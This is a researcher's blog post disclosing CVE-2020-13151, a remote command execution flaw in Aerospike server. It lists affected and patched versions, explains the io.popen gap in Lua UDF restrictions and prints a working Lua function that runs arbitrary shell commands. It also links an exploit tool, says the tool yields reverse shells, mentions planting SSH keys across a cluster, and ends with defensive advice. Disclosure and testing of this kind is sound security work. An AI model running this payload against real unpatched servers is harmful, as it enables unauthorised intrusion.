standard disclaimer: anything shown here is only to be used for education and research, or on networks/systems for which you've been give explicit permission to test -- hacking without permission is illegal.

An Aside

The Aerospike team was really great to work with on this CVE. They were very responsive and quickly developed a patch and worked it into production.

Motivation

I recently disclosed CVE-2020-13151 to Aerospike after finding that I could execute commands against the underlying aerospike database hosts during an engagement. If you find an unpatched version of Aerospike server during testing, there may be a quick shell available. Depending on what else the hosts are used for this can be a good pivot point in the network.

Prerequisites

  • An unpatched (or non-hardened) version of the Aerospike server.
  • Patches came in two stages:
    • Versions 5.0.0.7, 4.9.0.10, 4.8.0.13, 4.7.0.17, 4.6.0.19 and 4.5.3.21 received the ability to disable lua UDFs
    • Versions 5.1.0.3 and beyond blocked the process creation in the UDFs

Authentication is not offered on the community edition making the attack very simple on unpatched versions. I was unable to test this attack on the enterprise edition, so if you find one on an engagement, you’ll need to experiment a bit (and probably obtain some credentials).

Exploiting

tl;dr scripted exploit tool is here: https://github.com/b4ny4n/CVE-2020-13151

Again, this was only tested on the server community edition as I didn’t have access to the enterprise version. A nicety from an attacker point-of-view is that the community edition does not allow for authentication, making this attack very easy.

To show how it works, I’ll walk through a manual way to run the attack, though I’ve created a some tooling around it here here.

This attack is possible due to inusfficient blacklisting of functions in lua UDFs. Aerospike seems to have (sensibly) blocked os.execute calls during UDF execution, however the same precautions do not appear to be in place for io.popen.

Consider the following UDF, which when registered will allow us to execute and display the results of a command whichever host in the cluster ends up executing the function.

function runCMD(rec, cmd)
    local outtext = ""
    local phandle = io.popen(cmd)
    io.input(phandle)
    local foo = io.lines()
    for f in foo do
        outtext = outtext .. f .. "\n"
    end
    return outtext
end

Once connected to the cluster (again, no auth in the community edition), we can register our udf:

Create a single-record test dataset to operate on:

And then execute commands on whichever host ended up hosting our record:

In a large enough cluster an attacker could create a much larger dataset and repeatedly execute the commands against different records which would have the effect of spraying the command around the cluster (which would be fun for dropping ssh keys, for example).

Try it out

I’ve written a tool which injects records into the target cluster and then executes the desired commands.

It can be used to obtain a reverse shell:

Or just to issue arbitrary commands:

You can grab the tool here and experiment with it against a local docker setup:


# start up a single-node aerospike instance
docker run --rm -d --name aerospike -p 3000:3000 -p 3001:3001 -p 3002:3002 -p 3003:3003 aerospike:4.9.0.5

# if you want to issue commands against the server interactively, 
# fire up a client to interact with the server (also dockerized)
# changing the --host IP as necessary
docker run -v `pwd`:/share -ti --name aerospike-aql --rm aerospike/aerospike-tools aql --host 172.17.0.2 --no-config-file

If You’re Defending

Patch and firewall off backend servers if you’re on the community edition (ideally, they should only respond to the web apps fronting them). If you’re on the enterprise version, ensure you have strong authentication and minimize permission and access.